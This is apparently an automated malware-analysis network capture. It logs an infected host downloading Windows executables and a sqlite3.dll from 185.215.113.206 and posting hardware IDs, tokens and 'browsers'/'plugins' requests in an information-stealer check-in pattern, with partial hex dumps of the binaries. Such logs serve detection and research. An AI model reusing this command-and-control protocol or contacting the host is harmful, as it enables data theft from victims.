00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 22:11:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 22:11:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 22:11:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 22:11:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBFBFBKFIDHJKFCAFCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 33 43 39 35 33 30 38 33 42 46 31 30 37 39 32 30 39 30 34 37 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 2d 2d 0d 0a Data Ascii: ------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="hwid"683C953083BF1079209047------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="build"tale------FCFBFBFBKFIDHJKFCAFC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEBFBKKJDHIDHIDBAEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 42 46 42 4b 4b 4a 44 48 49 44 48 49 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 42 46 42 4b 4b 4a 44 48 49 44 48 49 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 42 46 42 4b 4b 4a 44 48 49 44 48 49 44 42 41 45 2d 2d 0d 0a Data Ascii: ------HCAEBFBKKJDHIDHIDBAEContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------HCAEBFBKKJDHIDHIDBAEContent-Disposition: form-data; name="message"browsers------HCAEBFBKKJDHIDHIDBAE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIEGCBKEGCFCBFIDBFIIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 47 43 42 4b 45 47 43 46 43 42 46 49 44 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 47 43 42 4b 45 47 43 46 43 42 46 49 44 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 47 43 42 4b 45 47 43 46 43 42 46 49 44 42 46 49 49 2d 2d 0d 0a Data Ascii: ------FIEGCBKEGCFCBFIDBFIIContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------FIEGCBKEGCFCBFIDBFIIContent-Disposition: form-data; name="message"plugins------FIEGCBKEGCFCBFIDBFII--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKEHIECFCAAFIEBGIDAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 2d 2d 0d 0a Data Ascii: ------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="message"fplugins------AKKEHIECFCAAFIEBGIDA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFBFCAFCBKFIEBFHIDBHost: 185.215.113.206Content-Length: 6143Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKJDAAFBKFHIEBFCFBKHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 2d 2d 0d 0a Data Ascii: ------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="file"------CFCBFHJECAKEHIECGIEB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAAFCBFBAKFHJDBKJHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHIDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 2d 2d 0d 0a Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file"------IJKKKFCFHCFIECBGDHID--
